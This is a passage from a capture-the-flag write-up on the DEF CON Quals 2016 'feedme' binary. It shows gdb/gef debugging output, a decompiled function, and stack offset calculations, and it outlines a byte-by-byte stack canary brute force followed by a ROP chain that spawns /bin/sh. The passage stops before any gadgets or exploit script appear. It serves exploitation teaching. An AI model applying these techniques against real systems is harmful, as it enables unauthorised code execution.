0xffffd00c:    0x30303030    0x30303030    0x30303030    0x30303030
0xffffd01c:    0x30303030    0x8303030    0x0    0x80ed840
0xffffd02c:    0x804f8b4    0x0    0x0    0x0
0xffffd03c:    0x80481a8    0x80481a8    0x0    0xffffd068
0xffffd04c:    0x80491da    0x80ea0a0    0x0    0x2
0xffffd05c:    0x0    0x0    0x80ea00c    0x8049970
0xffffd06c:    0x80493ba    0x1    0xffffd0f4    0xffffd0fc
0xffffd07c:    0x0    0x0    0x80481a8    0x0

We can see that the scanInMemory function took two arguments, which were the output of getInt and a stack pointer. It scanned in size amount of bytes into the pointer it was passed. Also even though the function was passed 0x37 as a size, I gave it 0x38 bytes worth of 0 (0x30) just to lend more evidence to how I thought this worked:

gef➤  s
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0x37      
$ebx   : 0x080481a8  →   push ebx
$ecx   : 0xffffcfec  →  "00000000000000000000000000000000000000000000000000[...]"
$edx   : 0x37      
$esp   : 0xffffcfd0  →  0xffffcfec  →  "00000000000000000000000000000000000000000000000000[...]"
$ebp   : 0xffffd018  →  0x30303030 ("0000"?)
$esi   : 0x0       
$edi   : 0x080ea00c  →  0x08067f90  →   mov edx, DWORD PTR [esp+0x4]
$eip   : 0x08049072  →   mov DWORD PTR [esp+0x8], 0x10
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcfd0│+0x0000: 0xffffcfec  →  "00000000000000000000000000000000000000000000000000[...]"     ← $esp
0xffffcfd4│+0x0004: 0x00000037 ("7"?)
0xffffcfd8│+0x0008: 0x00000000
0xffffcfdc│+0x000c: 0x0806ccb7  →   sub esp, 0x20
0xffffcfe0│+0x0010: 0x080ea200  →  0xfbad2887
0xffffcfe4│+0x0014: 0x080ea247  →  0x0eb4d40a
0xffffcfe8│+0x0018: 0x370ea248
0xffffcfec│+0x001c: "00000000000000000000000000000000000000000000000000[...]"
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
    0x8049066                  mov    DWORD PTR [esp], eax
    0x8049069                  call   0x8048e7e
    0x804906e                  movzx  eax, BYTE PTR [ebp-0x2d]
 →  0x8049072                  mov    DWORD PTR [esp+0x8], 0x10
    0x804907a                  mov    DWORD PTR [esp+0x4], eax
    0x804907e                  lea    eax, [ebp-0x2c]
    0x8049081                  mov    DWORD PTR [esp], eax
    0x8049084                  call   0x8048f6e
    0x8049089                  mov    DWORD PTR [esp+0x4], eax
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "feedme", stopped, reason: SINGLE STEP
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8049072 → mov DWORD PTR [esp+0x8], 0x10
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x08049072 in ?? ()
gef➤  s
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0x37      
$ebx   : 0x080481a8  →   push ebx
$ecx   : 0xffffcfec  →  "00000000000000000000000000000000000000000000000000[...]"
$edx   : 0x37      
$esp   : 0xffffcfd0  →  0xffffcfec  →  "00000000000000000000000000000000000000000000000000[...]"
$ebp   : 0xffffd018  →  0x30303030 ("0000"?)
$esi   : 0x0       
$edi   : 0x080ea00c  →  0x08067f90  →   mov edx, DWORD PTR [esp+0x4]
$eip   : 0x0804907a  →   mov DWORD PTR [esp+0x4], eax
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcfd0│+0x0000: 0xffffcfec  →  "00000000000000000000000000000000000000000000000000[...]"     ← $esp
0xffffcfd4│+0x0004: 0x00000037 ("7"?)
0xffffcfd8│+0x0008: 0x00000010
0xffffcfdc│+0x000c: 0x0806ccb7  →   sub esp, 0x20
0xffffcfe0│+0x0010: 0x080ea200  →  0xfbad2887
0xffffcfe4│+0x0014: 0x080ea247  →  0x0eb4d40a
0xffffcfe8│+0x0018: 0x370ea248
0xffffcfec│+0x001c: "00000000000000000000000000000000000000000000000000[...]"
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
    0x8049069                  call   0x8048e7e
    0x804906e                  movzx  eax, BYTE PTR [ebp-0x2d]
    0x8049072                  mov    DWORD PTR [esp+0x8], 0x10
 →  0x804907a                  mov    DWORD PTR [esp+0x4], eax
    0x804907e                  lea    eax, [ebp-0x2c]
    0x8049081                  mov    DWORD PTR [esp], eax
    0x8049084                  call   0x8048f6e
    0x8049089                  mov    DWORD PTR [esp+0x4], eax
    0x804908d                  mov    DWORD PTR [esp], 0x80be715
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "feedme", stopped, reason: SINGLE STEP
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x804907a → mov DWORD PTR [esp+0x4], eax
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x0804907a in ?? ()
gef➤  s
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0x37      
$ebx   : 0x080481a8  →   push ebx
$ecx   : 0xffffcfec  →  "00000000000000000000000000000000000000000000000000[...]"
$edx   : 0x37      
$esp   : 0xffffcfd0  →  0xffffcfec  →  "00000000000000000000000000000000000000000000000000[...]"
$ebp   : 0xffffd018  →  0x30303030 ("0000"?)
$esi   : 0x0       
$edi   : 0x080ea00c  →  0x08067f90  →   mov edx, DWORD PTR [esp+0x4]
$eip   : 0x0804907e  →   lea eax, [ebp-0x2c]
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcfd0│+0x0000: 0xffffcfec  →  "00000000000000000000000000000000000000000000000000[...]"     ← $esp
0xffffcfd4│+0x0004: 0x00000037 ("7"?)
0xffffcfd8│+0x0008: 0x00000010
0xffffcfdc│+0x000c: 0x0806ccb7  →   sub esp, 0x20
0xffffcfe0│+0x0010: 0x080ea200  →  0xfbad2887
0xffffcfe4│+0x0014: 0x080ea247  →  0x0eb4d40a
0xffffcfe8│+0x0018: 0x370ea248
0xffffcfec│+0x001c: "00000000000000000000000000000000000000000000000000[...]"
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
    0x804906e                  movzx  eax, BYTE PTR [ebp-0x2d]
    0x8049072                  mov    DWORD PTR [esp+0x8], 0x10
    0x804907a                  mov    DWORD PTR [esp+0x4], eax
 →  0x804907e                  lea    eax, [ebp-0x2c]
    0x8049081                  mov    DWORD PTR [esp], eax
    0x8049084                  call   0x8048f6e
    0x8049089                  mov    DWORD PTR [esp+0x4], eax
    0x804908d                  mov    DWORD PTR [esp], 0x80be715
    0x8049094                  call   0x804f700
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "feedme", stopped, reason: SINGLE STEP
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x804907e → lea eax, [ebp-0x2c]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x0804907e in ?? ()
gef➤  s
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0xffffcfec  →  "00000000000000000000000000000000000000000000000000[...]"
$ebx   : 0x080481a8  →   push ebx
$ecx   : 0xffffcfec  →  "00000000000000000000000000000000000000000000000000[...]"
$edx   : 0x37      
$esp   : 0xffffcfd0  →  0xffffcfec  →  "00000000000000000000000000000000000000000000000000[...]"
$ebp   : 0xffffd018  →  0x30303030 ("0000"?)
$esi   : 0x0       
$edi   : 0x080ea00c  →  0x08067f90  →   mov edx, DWORD PTR [esp+0x4]
$eip   : 0x08049081  →   mov DWORD PTR [esp], eax
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcfd0│+0x0000: 0xffffcfec  →  "00000000000000000000000000000000000000000000000000[...]"     ← $esp
0xffffcfd4│+0x0004: 0x00000037 ("7"?)
0xffffcfd8│+0x0008: 0x00000010
0xffffcfdc│+0x000c: 0x0806ccb7  →   sub esp, 0x20
0xffffcfe0│+0x0010: 0x080ea200  →  0xfbad2887
0xffffcfe4│+0x0014: 0x080ea247  →  0x0eb4d40a
0xffffcfe8│+0x0018: 0x370ea248
0xffffcfec│+0x001c: "00000000000000000000000000000000000000000000000000[...]"
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
    0x8049072                  mov    DWORD PTR [esp+0x8], 0x10
    0x804907a                  mov    DWORD PTR [esp+0x4], eax
    0x804907e                  lea    eax, [ebp-0x2c]
 →  0x8049081                  mov    DWORD PTR [esp], eax
    0x8049084                  call   0x8048f6e
    0x8049089                  mov    DWORD PTR [esp+0x4], eax
    0x804908d                  mov    DWORD PTR [esp], 0x80be715
    0x8049094                  call   0x804f700
    0x8049099                  movzx  eax, BYTE PTR [ebp-0x2d]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "feedme", stopped, reason: SINGLE STEP
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8049081 → mov DWORD PTR [esp], eax
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x08049081 in ?? ()
gef➤  s
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0xffffcfec  →  "00000000000000000000000000000000000000000000000000[...]"
$ebx   : 0x080481a8  →   push ebx
$ecx   : 0xffffcfec  →  "00000000000000000000000000000000000000000000000000[...]"
$edx   : 0x37      
$esp   : 0xffffcfd0  →  0xffffcfec  →  "00000000000000000000000000000000000000000000000000[...]"
$ebp   : 0xffffd018  →  0x30303030 ("0000"?)
$esi   : 0x0       
$edi   : 0x080ea00c  →  0x08067f90  →   mov edx, DWORD PTR [esp+0x4]
$eip   : 0x08049084  →  0xfffee5e8  →  0x00000000
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcfd0│+0x0000: 0xffffcfec  →  "00000000000000000000000000000000000000000000000000[...]"     ← $esp
0xffffcfd4│+0x0004: 0x00000037 ("7"?)
0xffffcfd8│+0x0008: 0x00000010
0xffffcfdc│+0x000c: 0x0806ccb7  →   sub esp, 0x20
0xffffcfe0│+0x0010: 0x080ea200  →  0xfbad2887
0xffffcfe4│+0x0014: 0x080ea247  →  0x0eb4d40a
0xffffcfe8│+0x0018: 0x370ea248
0xffffcfec│+0x001c: "00000000000000000000000000000000000000000000000000[...]"
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
    0x804907a                  mov    DWORD PTR [esp+0x4], eax
    0x804907e                  lea    eax, [ebp-0x2c]
    0x8049081                  mov    DWORD PTR [esp], eax
 →  0x8049084                  call   0x8048f6e
   ↳   0x8048f6e                  push   ebp
       0x8048f6f                  mov    ebp, esp
       0x8048f71                  push   ebx
       0x8048f72                  sub    esp, 0x1c
       0x8048f75                  mov    edx, DWORD PTR [ebp+0xc]
       0x8048f78                  mov    eax, DWORD PTR [ebp+0x10]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
0x8048f6e (
   [sp + 0x0] = 0xffffcfec → "00000000000000000000000000000000000000000000000000[...]"
)
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "feedme", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8049084 → call 0x8048f6e
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Thread 2.1 "feedme" hit Breakpoint 3, 0x08049084 in ?? ()
gef➤  s
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0xffffcfec  →  "00000000000000000000000000000000000000000000000000[...]"
$ebx   : 0x080481a8  →   push ebx
$ecx   : 0xffffcfec  →  "00000000000000000000000000000000000000000000000000[...]"
$edx   : 0x37      
$esp   : 0xffffcfcc  →  0x08049089  →   mov DWORD PTR [esp+0x4], eax
$ebp   : 0xffffd018  →  0x30303030 ("0000"?)
$esi   : 0x0       
$edi   : 0x080ea00c  →  0x08067f90  →   mov edx, DWORD PTR [esp+0x4]
$eip   : 0x08048f6e  →   push ebp
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcfcc│+0x0000: 0x08049089  →   mov DWORD PTR [esp+0x4], eax     ← $esp
0xffffcfd0│+0x0004: 0xffffcfec  →  "00000000000000000000000000000000000000000000000000[...]"
0xffffcfd4│+0x0008: 0x00000037 ("7"?)
0xffffcfd8│+0x000c: 0x00000010
0xffffcfdc│+0x0010: 0x0806ccb7  →   sub esp, 0x20
0xffffcfe0│+0x0014: 0x080ea200  →  0xfbad2887
0xffffcfe4│+0x0018: 0x080ea247  →  0x0eb4d40a
0xffffcfe8│+0x001c: 0x370ea248
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
    0x8048f69                  add    eax, 0x57
    0x8048f6c                  leave  
    0x8048f6d                  ret    
 →  0x8048f6e                  push   ebp
    0x8048f6f                  mov    ebp, esp
    0x8048f71                  push   ebx
    0x8048f72                  sub    esp, 0x1c
    0x8048f75                  mov    edx, DWORD PTR [ebp+0xc]
    0x8048f78                  mov    eax, DWORD PTR [ebp+0x10]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "feedme", stopped, reason: SINGLE STEP
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8048f6e → push ebp
[#1] 0x8049089 → mov DWORD PTR [esp+0x4], eax
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x08048f6e in ?? ()
gef➤  finish
Run till exit from #0  0x08048f6e in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0x080ebf40  →  "30303030303030303030303030303030..."
$ebx   : 0x080481a8  →   push ebx
$ecx   : 0xffffcfec  →  "00000000000000000000000000000000000000000000000000[...]"
$edx   : 0xffffcfec  →  "00000000000000000000000000000000000000000000000000[...]"
$esp   : 0xffffcfd0  →  0xffffcfec  →  "00000000000000000000000000000000000000000000000000[...]"
$ebp   : 0xffffd018  →  0x30303030 ("0000"?)
$esi   : 0x0       
$edi   : 0x080ea00c  →  0x08067f90  →   mov edx, DWORD PTR [esp+0x4]
$eip   : 0x08049089  →   mov DWORD PTR [esp+0x4], eax
$eflags: [zero carry parity ADJUST SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcfd0│+0x0000: 0xffffcfec  →  "00000000000000000000000000000000000000000000000000[...]"     ← $esp
0xffffcfd4│+0x0004: 0x00000037 ("7"?)
0xffffcfd8│+0x0008: 0x00000010
0xffffcfdc│+0x000c: 0x0806ccb7  →   sub esp, 0x20
0xffffcfe0│+0x0010: 0x080ea200  →  0xfbad2887
0xffffcfe4│+0x0014: 0x080ea247  →  0x0eb4d40a
0xffffcfe8│+0x0018: 0x370ea248
0xffffcfec│+0x001c: "00000000000000000000000000000000000000000000000000[...]"
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
    0x804907e                  lea    eax, [ebp-0x2c]
    0x8049081                  mov    DWORD PTR [esp], eax
    0x8049084                  call   0x8048f6e
 →  0x8049089                  mov    DWORD PTR [esp+0x4], eax
    0x804908d                  mov    DWORD PTR [esp], 0x80be715
    0x8049094                  call   0x804f700
    0x8049099                  movzx  eax, BYTE PTR [ebp-0x2d]
    0x804909d                  mov    edx, DWORD PTR [ebp-0xc]
    0x80490a0                  xor    edx, DWORD PTR gs:0x14
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "feedme", stopped, reason: TEMPORARY BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8049089 → mov DWORD PTR [esp+0x4], eax
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x08049089 in ?? ()
gef➤  x/5w $eax
0x80ebf40:    0x30333033    0x30333033    0x30333033    0x30333033
0x80ebf50:    0x30333033
gef➤  x/6w $eax
0x80ebf40:    0x30333033    0x30333033    0x30333033    0x30333033
0x80ebf50:    0x30333033    0x30333033
gef➤  x/50w $eax
0x80ebf40:    0x30333033    0x30333033    0x30333033    0x30333033
0x80ebf50:    0x30333033    0x30333033    0x30333033    0x30333033
0x80ebf60:    0x2e2e2e    0x0    0x0    0x0
0x80ebf70:    0x0    0x0    0x0    0x0
0x80ebf80:    0x0    0x0    0x0    0x0
0x80ebf90:    0x0    0x0    0x0    0x0
0x80ebfa0:    0x0    0x0    0x0    0x0
0x80ebfb0:    0x0    0x0    0x0    0x0
0x80ebfc0:    0x0    0x0    0x0    0x0
0x80ebfd0:    0x0    0x0    0x0    0x0
0x80ebfe0:    0x0    0x0    0x0    0x0
0x80ebff0:    0x0    0x0    0x0    0x0
0x80ec000:    0x0    0x0
gef➤  c
Continuing.
ATE 30303030303030303030303030303030...
*** stack smashing detected ***: /Hackery/pod/modules/bof_static/dcquals16_feedme/feedme terminated

So we can see that the last function returned a pointer which was 16 bytes of our input converted to ASCII, which was then printed. Let's see what the offset from our input to the stack canary and the return address:

gef➤  set follow-fork-mode child
gef➤  b *0x8049069
Breakpoint 1 at 0x8049069
gef➤  r
Starting program: /Hackery/pod/modules/bof_static/dcquals16_feedme/feedme
[New process 15394]
FEED ME!
0
[Switching to process 15394]
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0xffffcfec  →  0x00000000
$ebx   : 0x080481a8  →   push ebx
$ecx   : 0xffffcfbb  →  0x00000130
$edx   : 0x1       
$esp   : 0xffffcfd0  →  0xffffcfec  →  0x00000000
$ebp   : 0xffffd018  →  0xffffd048  →  0xffffd068  →  0x08049970  →   push ebx
$esi   : 0x0       
$edi   : 0x080ea00c  →  0x08067f90  →   mov edx, DWORD PTR [esp+0x4]
$eip   : 0x08049069  →  0xfffe10e8  →  0x00000000
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcfd0│+0x0000: 0xffffcfec  →  0x00000000     ← $esp
0xffffcfd4│+0x0004: 0x00000030 ("0"?)
0xffffcfd8│+0x0008: 0x00000000
0xffffcfdc│+0x000c: 0x0806ccb7  →   sub esp, 0x20
0xffffcfe0│+0x0010: 0x080ea200  →  0xfbad2887
0xffffcfe4│+0x0014: 0x080ea247  →  0x0eb4d40a
0xffffcfe8│+0x0018: 0x300ea248
0xffffcfec│+0x001c: 0x00000000
──────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
    0x804905f                  mov    DWORD PTR [esp+0x4], eax
    0x8049063                  lea    eax, [ebp-0x2c]
    0x8049066                  mov    DWORD PTR [esp], eax
 →  0x8049069                  call   0x8048e7e
   ↳   0x8048e7e                  push   ebp
       0x8048e7f                  mov    ebp, esp
       0x8048e81                  sub    esp, 0x28
       0x8048e84                  mov    eax, DWORD PTR [ebp+0xc]
       0x8048e87                  mov    DWORD PTR [ebp-0x14], eax
       0x8048e8a                  mov    DWORD PTR [ebp-0x10], 0x0
──────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
0x8048e7e (
)
──────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "feedme", stopped, reason: BREAKPOINT
────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8049069 → call 0x8048e7e
[#1] 0x80490dc → movzx eax, al
[#2] 0x80491da → mov eax, 0x0
[#3] 0x80493ba → mov DWORD PTR [esp], eax
[#4] 0x8048d2b → hlt
─────────────────────────────────────────────────────────────────────────────────────────────────────

Thread 2.1 "feedme" hit Breakpoint 1, 0x08049069 in ?? ()
gef➤  
gef➤  x/4w $esp
0xffffcfd0:    0xffffcfec    0x30    0x0    0x806ccb7
gef➤  x/50w 0xffffcfec
0xffffcfec:    0x0    0x2710    0x0    0x0
0xffffcffc:    0x0    0x80ea0a0    0x0    0x0
0xffffd00c:    0x6e6a7000    0x0    0x80ea00c    0xffffd048
0xffffd01c:    0x80490dc    0x80ea0a0    0x0    0x80ed840
0xffffd02c:    0x804f8b4    0x0    0x0    0x0
0xffffd03c:    0x80481a8    0x80481a8    0x0    0xffffd068
0xffffd04c:    0x80491da    0x80ea0a0    0x0    0x2
0xffffd05c:    0x0    0x0    0x80ea00c    0x8049970
0xffffd06c:    0x80493ba    0x1    0xffffd0f4    0xffffd0fc
0xffffd07c:    0x0    0x0    0x80481a8    0x0
0xffffd08c:    0x80ea00c    0x8049970    0x16400ab0    0xe0c61b5f
0xffffd09c:    0x0    0x0    0x0    0x0
0xffffd0ac:    0x0    0x0
gef➤  i f
Stack level 0, frame at 0xffffd020:
 eip = 0x8049069; saved eip = 0x80490dc
 called by frame at 0xffffd050
 Arglist at 0xffffd018, args:
 Locals at 0xffffd018, Previous frame's sp is 0xffffd020
 Saved registers:
  ebp at 0xffffd018, eip at 0xffffd01c

We can see that our input is being scanned in starting at 0xffffcfec. We can see that the return address is at 0xffffd01c. We can also see that the stack canary is 0x6e6a7000 at 0xffffd00c (we can tell this since stack canaries in x86 are 4 byte random values, with the last value being a null byte). Doing a bit of python math we can find the offsets:

$    python
Python 2.7.15+ (default, Nov 27 2018, 23:36:35)
[GCC 7.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> hex(0xffffd01c - 0xffffcfec)
'0x30'
>>> hex(0xffffd00c - 0xffffcfec)
'0x20'

So we can see that the offset to the stack canary is 0x20 bytes, and that the offset to the return address is 0x30 bytes. Both are well within the reach of our buffer overflow. Lastly let's see where the feedMeFunc function is called. We can see the backtrace using gdb:

gef➤  r
Starting program: /Hackery/pod/modules/bof_static/dcquals16_feedme/feedme
FEED ME!
^C
Program received signal SIGINT, Interrupt.
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$eax   : 0xfffffe00
$ebx   : 0x3d9c    
$ecx   : 0xffffd030  →  0x00000000
$edx   : 0x0       
$esp   : 0xffffd008  →  0xffffd048  →  0xffffd068  →  0x08049970  →   push ebx
$ebp   : 0xffffd048  →  0xffffd068  →  0x08049970  →   push ebx
$esi   : 0x0       
$edi   : 0x080ea00c  →  0x08067f90  →   mov edx, DWORD PTR [esp+0x4]
$eip   : 0xf7ffd059  →  <__kernel_vsyscall+9> pop ebp
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────── stack ────
0xffffd008│+0x0000: 0xffffd048  →  0xffffd068  →  0x08049970  →   push ebx     ← $esp
0xffffd00c│+0x0004: 0x00000000
0xffffd010│+0x0008: 0xffffd030  →  0x00000000
0xffffd014│+0x000c: 0x0806cc02  →   pop ebx
0xffffd018│+0x0010: 0x080481a8  →   push ebx
0xffffd01c│+0x0014: 0x0804910e  →   mov DWORD PTR [ebp-0xc], eax
0xffffd020│+0x0018: 0x00003d9c
0xffffd024│+0x001c: 0xffffd030  →  0x00000000
─────────────────────────────────────────────────────────────── code:x86:32 ────
   0xf7ffd053 <__kernel_vsyscall+3> mov    ebp, esp
   0xf7ffd055 <__kernel_vsyscall+5> sysenter
   0xf7ffd057 <__kernel_vsyscall+7> int    0x80
 → 0xf7ffd059 <__kernel_vsyscall+9> pop    ebp
   0xf7ffd05a <__kernel_vsyscall+10> pop    edx
   0xf7ffd05b <__kernel_vsyscall+11> pop    ecx
   0xf7ffd05c <__kernel_vsyscall+12> ret    
   0xf7ffd05d                  nop    
   0xf7ffd05e                  nop    
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "feedme", stopped, reason: SIGINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0xf7ffd059 → __kernel_vsyscall()
[#1] 0x806cc02 → pop ebx
[#2] 0x804910e → mov DWORD PTR [ebp-0xc], eax
[#3] 0x80491da → mov eax, 0x0
[#4] 0x80493ba → mov DWORD PTR [esp], eax
[#5] 0x8048d2b → hlt
────────────────────────────────────────────────────────────────────────────────
0xf7ffd059 in __kernel_vsyscall ()
gef➤  bt
#0  0xf7ffd059 in __kernel_vsyscall ()
#1  0x0806cc02 in ?? ()
#2  0x0804910e in ?? ()
#3  0x080491da in ?? ()
#4  0x080493ba in ?? ()
#5  0x08048d2b in ?? ()

Going through the backtrace leads us to the following function:

void parentLoop(void)

{
  int iVar1;
  uint uVar2;
  int check;
  uint i;
 
  check = 0;
  i = 0;
  while( true ) {
    if (799 < i) {
      return;
    }
    iVar1 = FUN_0806cc70();
    if (iVar1 == 0) break;
    iVar1 = callChild(iVar1,&check,0);
    if (iVar1 == -1) {
      puts("Wait error!");
      FUN_0804ed20(0xffffffff);
    }
    if (check == -1) {
      puts("Child IO error!");
      FUN_0804ed20(0xffffffff);
    }
    puts("Child exit.");
    FUN_0804fa20(0);
    i = i + 1;
  }
  uVar2 = feedMeFunc();
  printf("YUM, got %d bytes!\n",uVar2 & 0xff);
  return;
}

So we can see it is calling the function responsible for setting up a child process in a loop that will run for 800 times. That means that we can crash a child process a lot of times (around 800) before the program exits on us.

Exploitation

Stack Canary

So we have the ability to overwrite the return address. The only thing stopping us other than the NX is the stack canary. However we can brute force it. Thing is, all of the child processes will share the same canary. For the canary it will have 4 bytes, one null byte and three random bytes (so only three bytes that we don't know).

What we can do is overwrite the stack canary one byte at a time. The byte we overwrite it with will essentially be a guess. If the child process dies we know that it was incorrect, and if it doesn't, then we will know that our guess was correct. There are 256 different values that byte be, and since there are three bytes we are guessing that gives us 256*3 = 768 possible guesses to guess every combination if we guess one byte at a time (which can be done by only overwriting one byte at a time). With that we can deal with the stack canary.

ROP Chain

After that, we will have the stack canary and nothing will be able to stop us from getting code execution. Then the question comes up of what to execute. NX is turned on, so we can't jump to shellcode we place on the stack. However the elf doesn't have PIE (randomizes the address of code) enabled, so building a ROP chain without an infoleak is possible. For this ROP Chain, I will be making a syscall to /bin/sh, which would grant us a shell.

First we look for ROP gadgets using the tool ROPgadget (since this is a statically linked binary, there will be a lot of gadgets):

$    python ROPgadget.py --binary feedme

Looking through the list of ROP gadgets, we see a few useful gadgets:

